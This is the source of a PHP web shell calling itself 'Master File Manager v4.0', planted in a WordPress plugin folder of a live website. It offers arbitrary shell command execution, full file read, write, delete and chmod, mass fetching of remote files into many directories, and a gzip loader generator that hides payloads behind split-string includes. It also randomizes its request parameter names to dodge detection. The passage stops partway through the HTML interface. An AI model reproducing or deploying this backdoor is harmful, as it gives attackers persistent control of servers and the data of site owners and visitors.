File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/master-js.php
<?php
/**
* Master File Manager v4.0 - Pure JS Version
* No header() redirects, all via JS + AJAX
*/
ob_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
// ===== SESSION CONFIG =====
ini_set('session.gc_maxlifetime', 7200);
ini_set('session.cookie_lifetime', 7200);
session_start();
session_regenerate_id(true);
define('MASTER_VERSION', '4.0.0');
define('MASTER_AUTHOR', 'id69');
// ===== AUTHENTICATION =====
$master_password_hash = 'c6e1ec952c871e0b82c3b8fa07dccca6a4f188871e2441de24f9c0c1d6bd41eb';
// Cek auth via session
function is_authed() {
if (empty($_SESSION['master_auth'])) return false;
if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT']) return false;
if ($_SESSION['ip_address'] != $_SERVER['REMOTE_ADDR']) return false;
if (isset($_SESSION['login_time']) && (time() - $_SESSION['login_time'] > 7200)) return false;
return true;
}
// Logout via GET
if (isset($_GET['logout'])) {
$_SESSION = [];
session_destroy();
$clean_url = strtok($_SERVER['PHP_SELF'], '?');
echo '<script>window.location.replace('.json_encode($clean_url).');</script>';
exit;
}
// Proses login via AJAX
if (isset($_POST['pass']) && hash('sha256', $_POST['pass']) == $master_password_hash) {
$_SESSION['master_auth'] = true;
$_SESSION['login_time'] = time();
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
session_write_close();
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'redirect' => strtok($_SERVER['PHP_SELF'], '?')]);
exit;
} else {
echo '<script>window.location.replace('.json_encode(strtok($_SERVER['PHP_SELF'], '?')).');</script>';
exit;
}
}
// Jika belum login, tampilkan form login
if (!is_authed()) {
$error = (isset($_POST['pass']) && !is_authed()) ? 'Password salah!' : '';
?>
<!DOCTYPE html>
<html>
<head><title>Master Access - JS Version</title>
<meta charset="UTF-8">
<style>
body{background:#000;color:#0f0;font-family:monospace;padding:20px}
.login-box{background:#111;border:1px solid #333;padding:20px;width:320px;margin:50px auto;border-radius:5px}
input[type=password]{background:#222;color:#0f0;border:1px solid #0f0;padding:8px;width:100%;margin:10px 0;font-family:monospace}
input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px;width:100%;cursor:pointer;font-weight:bold}
.error{color:#f00;text-align:center;margin-bottom:10px}
h2{text-align:center;margin:0 0 15px 0}
.loading{display:none;text-align:center;margin-top:10px}
.spinner{display:inline-block;width:20px;height:20px;border:2px solid #0f0;border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
@keyframes spin{to{transform:rotate(360deg)}}
</style>
</head>
<body>
<div class="login-box">
<h2>š MASTER FILE MANAGER v<?php echo MASTER_VERSION; ?></h2>
<?php if ($error): ?><div class="error">ā <?php echo htmlspecialchars($error); ?></div><?php endif; ?>
<form id="loginForm">
<input type="password" name="pass" id="password" placeholder="Enter Password" autofocus>
<button type="submit" id="loginBtn">Login</button>
<div id="loginLoading" class="loading"><div class="spinner"></div> Verifying...</div>
</form>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
var pass = document.getElementById('password').value;
if (!pass) return;
var btn = document.getElementById('loginBtn');
var loading = document.getElementById('loginLoading');
btn.disabled = true;
loading.style.display = 'block';
var formData = new FormData();
formData.append('pass', pass);
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
btn.disabled = false;
loading.style.display = 'none';
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === 'success') {
window.location.replace(response.redirect);
} else {
alert('Login failed');
location.reload();
}
} catch(e) {
location.reload();
}
} else {
alert('Request failed');
location.reload();
}
};
xhr.onerror = function() {
btn.disabled = false;
loading.style.display = 'none';
alert('Network error');
};
xhr.send(formData);
});
</script>
</body>
</html>
<?php
exit;
}
// ===== TMP DIRECTORY =====
$tmp_dir = '/tmp/master_' . session_id() . '/';
if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true);
// ===== SIMPLE OBFUSCATION ENGINE (tetap sama) =====
class SimpleObfuscator {
private function randomCase($str) {
$result = '';
for ($i = 0; $i < strlen($str); $i++) {
$result .= (rand(0, 1)) ? strtoupper($str[$i]) : strtolower($str[$i]);
}
return $result;
}
private function leetSpeak($str) {
$map = ['a'=>'4','e'=>'3','i'=>'1','o'=>'0','s'=>'5','t'=>'7','g'=>'9','b'=>'8'];
$result = '';
for ($i = 0; $i < strlen($str); $i++) {
$char = strtolower($str[$i]);
if (isset($map[$char]) && rand(0, 2) == 0) {
$result .= $map[$char];
} else {
$result .= $str[$i];
}
}
return $result;
}
public function obfuscate($string) {
$method = rand(0, 1) ? 'randomCase' : 'leetSpeak';
return $this->$method($string);
}
public function randomParam() {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$length = rand(3, 5);
$name = '';
for ($i = 0; $i < $length; $i++) {
$name .= $chars[rand(0, strlen($chars)-1)];
}
return $name;
}
}
// ===== PARAMETER OBFUSCATION =====
$obfuscator = new SimpleObfuscator();
if (!isset($_SESSION['func_map'])) {
$_SESSION['func_map'] = [
'filemanager' => $obfuscator->obfuscate('filemanager'),
'rawupload' => $obfuscator->obfuscate('rawupload'),
'bypass' => $obfuscator->obfuscate('bypass'),
'mass' => $obfuscator->obfuscate('mass'),
'gzip' => $obfuscator->obfuscate('gzip'),
'multi_upload' => $obfuscator->obfuscate('multi_upload'),
'cron' => $obfuscator->obfuscate('cron'),
'dbmanager' => $obfuscator->obfuscate('dbmanager'),
'cmd' => $obfuscator->obfuscate('cmd'),
'db' => $obfuscator->obfuscate('db'),
'security' => $obfuscator->obfuscate('security'),
'network' => $obfuscator->obfuscate('network'),
'info' => $obfuscator->obfuscate('info'),
'extract' => $obfuscator->obfuscate('extract')
];
$_SESSION['param_map'] = [
'action' => $obfuscator->randomParam(),
'path' => $obfuscator->randomParam(),
'db_action' => $obfuscator->randomParam(),
'table' => $obfuscator->randomParam(),
'pk' => $obfuscator->randomParam(),
'page' => $obfuscator->randomParam()
];
}
function getAction() {
if (!isset($_SESSION['param_map']) || !isset($_SESSION['func_map'])) return 'filemanager';
$action_param = $_SESSION['param_map']['action'] ?? 'action';
$action_value = $_GET[$action_param] ?? $_POST[$action_param] ?? '';
if (empty($action_value)) return 'filemanager';
foreach ($_SESSION['func_map'] as $key => $value) {
if ($value == $action_value) return $key;
}
return 'filemanager';
}
function getParam($key, $default = null) {
$param_map = $_SESSION['param_map'] ?? [];
$param = isset($param_map[$key]) ? $param_map[$key] : $key;
if (isset($_GET[$param])) return $_GET[$param];
if (isset($_POST[$param])) return $_POST[$param];
return $default;
}
function formatBytes($bytes, $precision = 2) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
function deleteRecursive($path) {
if (is_file($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) deleteRecursive($path . '/' . $file);
return rmdir($path);
}
function sortItems($items, $cwd) {
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
if (is_dir($cwd . '/' . $item)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
sort($dirs);
sort($files);
return array_merge($dirs, $files);
}
function createZip($items, $zip_name, $cwd) {
$zip = new ZipArchive();
$zip_path = $cwd . '/' . $zip_name;
if ($zip->open($zip_path, ZipArchive::CREATE) !== TRUE) return false;
foreach ($items as $item) {
$full = $cwd . '/' . $item;
if (is_dir($full)) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full), RecursiveIteratorIterator::LEAVES_ONLY);
foreach ($files as $file) {
if (!$file->isDir()) {
$relative = substr($file->getPathname(), strlen($cwd) + 1);
$zip->addFile($file->getPathname(), $relative);
}
}
} else {
$zip->addFile($full, $item);
}
}
$zip->close();
return true;
}
function extractZip($zip_file, $extract_to) {
$zip = new ZipArchive();
if ($zip->open($zip_file) === TRUE) {
$zip->extractTo($extract_to);
$zip->close();
return true;
}
return false;
}
function generateGzipLoader($target_file) {
$target = basename($target_file, '.gz');
$loaders = [
'<?php
$gh = ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"];
include implode("", $gh);',
'<?php
$gh = ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"];
include implode("", $gh);',
'<?php
$gh = ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"];
include implode("", array_reverse($gh));',
'<?php
$gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z");
include $gh;'
];
return $loaders[array_rand($loaders)];
}
function commandExec($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd . ' 2>&1', $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} else {
$output = "Command execution disabled";
}
return $output;
}
function copyFileToTarget($source, $target_dir, $depth = 0) {
$source = realpath($source);
if (!$source || !file_exists($source)) {
return ['status' => 'error', 'source' => $source, 'message' => 'File tidak ditemukan'];
}
if (is_dir($source)) {
return ['status' => 'error', 'source' => $source, 'message' => 'Adalah folder'];
}
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
if ($depth == 1) {
$parent = basename(dirname($source));
$target_path = $target_dir . '/' . $parent . '/' . basename($source);
if (!is_dir($target_dir . '/' . $parent)) mkdir($target_dir . '/' . $parent, 0755, true);
} else {
$target_path = $target_dir . '/' . basename($source);
}
if (file_exists($target_path)) {
$pathinfo = pathinfo($target_path);
$counter = 1;
while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
$target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
}
if (copy($source, $target_path)) {
return ['status' => 'success', 'source' => $source, 'target' => $target_path];
} else {
return ['status' => 'error', 'source' => $source, 'message' => 'Gagal copy'];
}
}
function downloadFromUrl($url, $target_dir, $custom_name = '', $depth = 0) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200 || !$content) {
return ['status' => 'error', 'source' => $url, 'message' => "HTTP $httpCode"];
}
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
$filename = !empty($custom_name) ? $custom_name : (basename(parse_url($url, PHP_URL_PATH)) ?: 'downloaded.bin');
if ($depth == 1 && strpos($filename, '/') !== false) {
$parts = explode('/', $filename);
$filename = array_pop($parts);
$subdir = implode('/', $parts);
$target_path = $target_dir . '/' . $subdir . '/' . $filename;
if (!is_dir($target_dir . '/' . $subdir)) mkdir($target_dir . '/' . $subdir, 0755, true);
} else {
$target_path = $target_dir . '/' . $filename;
}
if (file_exists($target_path)) {
$pathinfo = pathinfo($target_path);
$counter = 1;
while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
$target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
}
if (file_put_contents($target_path, $content)) {
return ['status' => 'success', 'source' => $url, 'target' => $target_path];
} else {
return ['status' => 'error', 'source' => $url, 'message' => 'Gagal simpan'];
}
}
// ===== AJAX Handler untuk semua action =====
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
header('Content-Type: application/json');
$ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? '';
// File Manager Actions
if ($ajax_action == 'list_files') {
$path = $_POST['path'] ?? getcwd();
$cwd = realpath($path);
if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
$search = $_POST['search'] ?? '';
$items = scandir($cwd);
$filtered = [];
foreach ($items as $item) {
if ($item == '.') continue;
if ($item == '..' && $cwd == '/') continue;
if (empty($search) || stripos($item, $search) !== false) {
$filtered[] = $item;
}
}
$sorted = sortItems($filtered, $cwd);
$files = [];
foreach ($sorted as $item) {
$full = $cwd . '/' . $item;
$isDir = is_dir($full);
$perms = substr(sprintf('%o', fileperms($full)), -4);
$modified = date("Y-m-d H:i:s", filemtime($full));
$size = $isDir ? 0 : filesize($full);
$owner = fileowner($full);
$group = filegroup($full);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner_name = posix_getpwuid($owner)['name'] ?? $owner;
$group_name = posix_getgrgid($group)['name'] ?? $group;
} else {
$owner_name = $owner;
$group_name = $group;
}
$files[] = [
'name' => $item,
'is_dir' => $isDir,
'perms' => $perms,
'size' => $size,
'size_formatted' => $isDir ? '--' : formatBytes($size),
'modified' => $modified,
'owner_group' => $owner_name . ':' . $group_name,
'path' => $full
];
}
echo json_encode([
'status' => 'success',
'cwd' => $cwd,
'parent' => dirname($cwd),
'files' => $files
]);
exit;
}
if ($ajax_action == 'create_file') {
$cwd = $_POST['cwd'];
$filename = $_POST['filename'];
$full = $cwd . '/' . $filename;
if (!file_exists($full)) {
file_put_contents($full, '');
echo json_encode(['status' => 'success', 'message' => "File $filename created"]);
} else {
echo json_encode(['status' => 'error', 'message' => "File already exists"]);
}
exit;
}
if ($ajax_action == 'create_folder') {
$cwd = $_POST['cwd'];
$foldername = $_POST['foldername'];
$full = $cwd . '/' . $foldername;
if (!file_exists($full)) {
mkdir($full);
echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Folder already exists"]);
}
exit;
}
if ($ajax_action == 'delete_item') {
$cwd = $_POST['cwd'];
$item = $_POST['item'];
$full = $cwd . '/' . $item;
if (file_exists($full)) {
deleteRecursive($full);
echo json_encode(['status' => 'success', 'message' => "Deleted $item"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Not found"]);
}
exit;
}
if ($ajax_action == 'rename_item') {
$cwd = $_POST['cwd'];
$old = $_POST['old'];
$new = $_POST['new'];
$full_old = $cwd . '/' . $old;
$full_new = $cwd . '/' . $new;
if (file_exists($full_old) && !file_exists($full_new)) {
rename($full_old, $full_new);
echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Rename failed"]);
}
exit;
}
if ($ajax_action == 'chmod_item') {
$full = $_POST['file'];
$perms = intval($_POST['perms'], 8);
if (chmod($full, $perms)) {
echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]);
} else {
echo json_encode(['status' => 'error', 'message' => "Chmod failed"]);
}
exit;
}
if ($ajax_action == 'get_file_content') {
$file = $_POST['file'];
if (file_exists($file) && is_file($file) && is_readable($file)) {
echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Cannot read file']);
}
exit;
}
if ($ajax_action == 'save_file_content') {
$file = $_POST['file'];
$content = $_POST['content'];
if (file_put_contents($file, $content)) {
echo json_encode(['status' => 'success', 'message' => 'File saved']);
} else {
echo json_encode(['status' => 'error', 'message' => 'Cannot save file']);
}
exit;
}
if ($ajax_action == 'upload_file') {
$cwd = $_POST['cwd'];
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$target = $cwd . '/' . $_FILES['file']['name'];
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Upload failed']);
}
} else {
echo json_encode(['status' => 'error', 'message' => 'No file or upload error']);
}
exit;
}
// Mass Uploader Action
if ($ajax_action == 'mass_upload') {
$action = $_POST['mass_action'];
$target_dir = $_POST['target_dir'];
$depth = intval($_POST['depth']);
$results = [];
$success = 0;
$failed = 0;
$target_folders = [];
if (strpos($target_dir, '*') !== false) {
$target_folders = glob($target_dir);
} else {
$target_folders = [$target_dir];
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
}
if ($action == 'copy') {
$file_list = explode("\n", trim($_POST['file_list']));
foreach ($file_list as $item) {
$item = trim($item);
if (empty($item)) continue;
if (strpos($item, '*') !== false) {
$source_files = glob($item);
foreach ($source_files as $source_file) {
foreach ($target_folders as $folder) {
$result = copyFileToTarget($source_file, $folder, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
}
} else {
foreach ($target_folders as $folder) {
$result = copyFileToTarget($item, $folder, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
}
}
} elseif ($action == 'url') {
$url_list = explode("\n", trim($_POST['url_list']));
foreach ($url_list as $line) {
$line = trim($line);
if (empty($line)) continue;
$parts = explode('|', $line);
$url = trim($parts[0]);
$custom_name = isset($parts[1]) ? trim($parts[1]) : '';
if (filter_var($url, FILTER_VALIDATE_URL)) {
foreach ($target_folders as $folder) {
$result = downloadFromUrl($url, $folder, $custom_name, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
} else {
$failed++;
$results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid'];
}
}
}
echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]);
exit;
}
// Command Execution
if ($ajax_action == 'execute_cmd') {
$cmd = $_POST['cmd'];
$output = commandExec($cmd);
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
// Raw URL Upload
if ($ajax_action == 'raw_upload') {
$url = $_POST['raw_url'];
$filename = $_POST['filename'];
$save_path = $_POST['save_path'];
$rewrite_mode = $_POST['rewrite_mode'];
if (!filter_var($url, FILTER_VALIDATE_URL)) {
echo json_encode(['status' => 'error', 'message' => 'Invalid URL']);
exit;
}
if (!is_dir($save_path)) mkdir($save_path, 0755, true);
$target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH)));
$is_overwrite = true;
if (file_exists($target_file)) {
if ($rewrite_mode == 'skip') {
echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']);
exit;
} elseif ($rewrite_mode == 'backup') {
$backup = $target_file . '.backup_' . date('Ymd_His');
copy($target_file, $backup);
}
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) {
echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]);
} else {
echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]);
}
exit;
}
// Gzip Maker
if ($ajax_action == 'make_gzip') {
$source = $_POST['source'];
$gzip_name = $_POST['gzip_name'];
$use_loader = $_POST['use_loader'];
$loader_name = $_POST['loader_name'];
$content = '';
if (filter_var($source, FILTER_VALIDATE_URL)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content = curl_exec($ch);
curl_close($ch);
} elseif (file_exists($source)) {
$content = file_get_contents($source);
}
if (empty($content)) {
echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']);
exit;
}
if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz';
if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz';
$gzip_path = getcwd() . '/' . $gzip_name;
$fp = gzopen($gzip_path, 'w9');
gzwrite($fp, $content);
gzclose($fp);
$result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))];
if ($use_loader == 'y') {
if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php';
if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php';
$loader_content = generateGzipLoader($gzip_name);
file_put_contents($loader_name, $loader_content);
$result['loader_file'] = $loader_name;
$result['loader_content'] = $loader_content;
}
echo json_encode($result);
exit;
}
// Extract ZIP
if ($ajax_action == 'extract_zip') {
$zip_file = $_POST['zip_file'];
$extract_to = $_POST['extract_to'];
if (!file_exists($zip_file)) {
echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']);
exit;
}
$zip_check = new ZipArchive();
$need_folder = true;
if ($zip_check->open($zip_file) === TRUE) {
$root_items = [];
$has_root_file = false;
for ($i = 0; $i < $zip_check->numFiles; $i++) {
$name = $zip_check->getNameIndex($i);
if (strpos($name, '__MACOSX/') === 0) continue;
$parts = explode('/', $name);
$first_item = $parts[0];
if (!in_array($first_item, $root_items)) $root_items[] = $first_item;
if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true;
}
$single_folder_only = (count($root_items) == 1 && !$has_root_file);
$need_folder = !$single_folder_only;
$zip_check->close();
}
if ($need_folder) {
$extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME);
} else {
$extract_target = $extract_to;
}
if (!is_dir($extract_target)) mkdir($extract_target, 0755, true);
if (extractZip($zip_file, $extract_target)) {
echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Extraction failed']);
}
exit;
}
// Create ZIP
if ($ajax_action == 'create_zip') {
$cwd = $_POST['cwd'];
$zip_name = $_POST['zip_name'];
$items = json_decode($_POST['items'], true);
if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip';
if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip';
if (createZip($items, $zip_name, $cwd)) {
echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']);
}
exit;
}
// Info
if ($ajax_action == 'get_info') {
$info = [
'php_version' => phpversion(),
'user' => get_current_user(),
'ip' => $_SERVER['REMOTE_ADDR'],
'tmp_dir' => $tmp_dir,
'session_id' => session_id(),
'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'disabled_functions' => ini_get('disable_functions') ?: 'None',
'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF'
];
echo json_encode(['status' => 'success', 'info' => $info]);
exit;
}
echo json_encode(['status' => 'error', 'message' => 'Unknown action']);
exit;
}
// ===== MAIN HTML =====
$current_path = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>Master File Manager v4.0 - JS Version</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
*{box-sizing:border-box}
body{background:#000;color:#0f0;font-family:'Courier New',monospace;padding:20px;margin:0}
a{color:#0ff;text-decoration:none}
a:hover{color:#f0f}
.menu{background:#111;padding:10px;margin:10px 0;border:1px solid #333;overflow-x:auto;white-space:nowrap;display:flex;flex-wrap:wrap;gap:5px}
.menu a{padding:5px 10px;background:#222;border-radius:3px}
.menu a:hover{background:#0f0;color:#000}
.panel{background:#0a0a0a;padding:20px;margin:15px 0;border:1px solid #333;border-radius:5px}
.success{color:#0f0;background:#0a0a0a;padding:10px;border-left:4px solid #0f0}
.error{color:#f00;background:#1a0a0a;padding:10px;border-left:4px solid #f00}
input[type=text],input[type=password],textarea,select{background:#222;color:#0f0;border:1px solid #333;padding:8px;font-family:monospace}
input[type=text]:focus,textarea:focus,select:focus{outline:none;border-color:#0f0}
button,.btn{background:#0f0;color:#000;border:none;padding:8px 15px;cursor:pointer;font-family:monospace;font-weight:bold}
button:hover,.btn:hover{background:#0ff}
table{border-collapse:collapse;width:100%}
th,td{border:1px solid #333;padding:8px;text-align:left}
th{background:#222}
pre{background:#111;padding:10px;border:1px solid #333;overflow:auto}
.breadcrumb{background:#111;padding:10px;margin:10px 0;border:1px solid #333}
.loading{display:inline-block;width:20px;height:20px;border:2px solid #0f0;border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
@keyframes spin{to{transform:rotate(360deg)}}
.tab-buttons{display:flex;margin:10px 0}
.tab-btn{flex:1;padding:10px;background:#222;color:#0f0;border:none;cursor:pointer}
.tab-btn.active{background:#0f0;color:#000}
.tab-content{display:none;background:#111;padding:20px;border:1px solid #333;border-top:none}
.tab-content.active{display:block}
.dropzone{border:2px dashed #0f0;padding:30px;text-align:center;cursor:pointer;margin:10px 0}
.dropzone:hover{background:#1a1a1a}
.result-table{font-size:12px;overflow-x:auto;max-height:400px;overflow-y:auto}
.footer{text-align:center;margin-top:30px;padding:15px;border-top:1px solid #333;color:#666}
</style>
</head>
<body>
<div class="container" style="max-width:1400px;margin:0 auto">
<h1>š§ Master File Manager v<?php echo MASTER_VERSION; ?> (JS Version)</h1>
<div class="menu" id="menuBar"></div>
<div id="mainContent">
<div class="loading"></div> Loading...
</div>
<div class="footer">
<p>Master File Manager | <?php echo date('Y-m-d H:i:s'); ?></p>
</div>
</div>
<script>
// Global variables
let currentPath = '<?php echo addslashes($current_path); ?>';
let currentAction = 'filemanager';
let currentFileContent = '';
// Menu items
const menuItems = [
{ action: 'filemanager', label: 'š File Manager', icon: 'š' },
{ action: 'mass', label: 'š¦ Mass Upload', icon: 'š¦' },
{ action: 'gzip', label: 'šØ Gzip Maker', icon: 'šØ' },
{ action: 'multi_upload', label: 'š¤ Multi Upload', icon: 'š¤' },
{ action: 'cron', label: 'ā° Cron', icon: 'ā°' },
{ action: 'dbmanager', label: 'šļø DB Manager', icon: 'šļø' },
{ action: 'rawupload', label: 'š¦ Raw URL', icon: 'š¦' },
{ action: 'bypass', label: 'š Bypass', icon: 'š' },
{ action: 'extract', label: 'š¦ Extract', icon: 'š¦' },
{ action: 'cmd', label: 'āØļø Command', icon: 'āØļø' },
{ action: 'db', label: 'šļø DB Check', icon: 'šļø' },
{ action: 'security', label: 'š Security', icon: 'š' },
{ action: 'network', label: 'š Network', icon: 'š' },
{ action: 'info', label: 'ā¹ļø Info', icon: 'ā¹ļø' },
{ action: 'logout', label: 'šŖ Logout', icon: 'šŖ' }
];
// Build menu
function buildMenu() {
const menuBar = document.getElementById('menuBar');
menuBar.innerHTML = '';
menuItems.forEach(item => {
const link = document.createElement('a');
link.href = 'javascript:void(0)';
link.innerHTML = `${item.icon} ${item.label}`;
link.onclick = () => loadAction(item.action);
menuBar.appendChild(link);
});
}
// Load action via AJAX (GET without refresh)
function loadAction(action, params = {}) {
currentAction = action;
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = '<div class="loading"></div> Loading...';
if (action === 'logout') {
window.location.replace(window.location.pathname + '?logout=1');
return;
}
// Render UI based on action (all UI is client-side)
switch(action) {
case 'filemanager':
renderFileManager();
break;
case 'mass':
renderMassUploader();
break;
case 'gzip':
renderGzipMaker();
break;
case 'multi_upload':
renderMultiUpload();
break;
case 'cron':
renderCronManager();
break;
case 'dbmanager':
renderDbManager();
break;
case 'rawupload':
renderRawUpload();
break;
case 'bypass':
renderBypassUploader();
break;
case 'extract':
renderExtractManager();
break;
case 'cmd':
renderCommand();
break;
case 'db':
renderDbCheck();
break;
case 'security':
renderSecurityScan();
break;
case 'network':
renderNetworkTools();
break;
case 'info':
renderInfo();
break;
default:
renderFileManager();
}
}
// ========== AJAX Helper ==========
function ajaxPost(data, callback) {
const formData = new FormData();
for (let key in data) {
formData.append(key, data[key]);
}
formData.append('ajax_action', data.ajax_action);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const response = JSON.parse(xhr.responseText);
callback(response);
} catch(e) {
callback({status: 'error', message: 'Parse error: ' + e.message});
}
} else {
callback({status: 'error', message: 'HTTP ' + xhr.status});
}
};
xhr.onerror = function() {
callback({status: 'error', message: 'Network error'});
};
xhr.send(formData);
}
// ========== FILE MANAGER ==========
function renderFileManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š File Manager</h2>
<div class="breadcrumb" id="breadcrumb"></div>
<div class="search-box" style="background:#111;padding:10px;margin:10px 0">
<input type="text" id="searchInput" placeholder="š Cari..." style="width:300px">
<button onclick="searchFiles()">Cari</button>
<button onclick="refreshFileManager()">Refresh</button>
</div>
<div id="fileTable"></div>
<hr>
<div style="display:flex;gap:10px;flex-wrap:wrap">
<div><h3>š Create File</h3><input type="text" id="newFileName" placeholder="filename.txt"> <button onclick="createFile()">Create</button></div>
<div><h3>š Create Folder</h3><input type="text" id="newFolderName" placeholder="foldername"> <button onclick="createFolder()">Create</button></div>
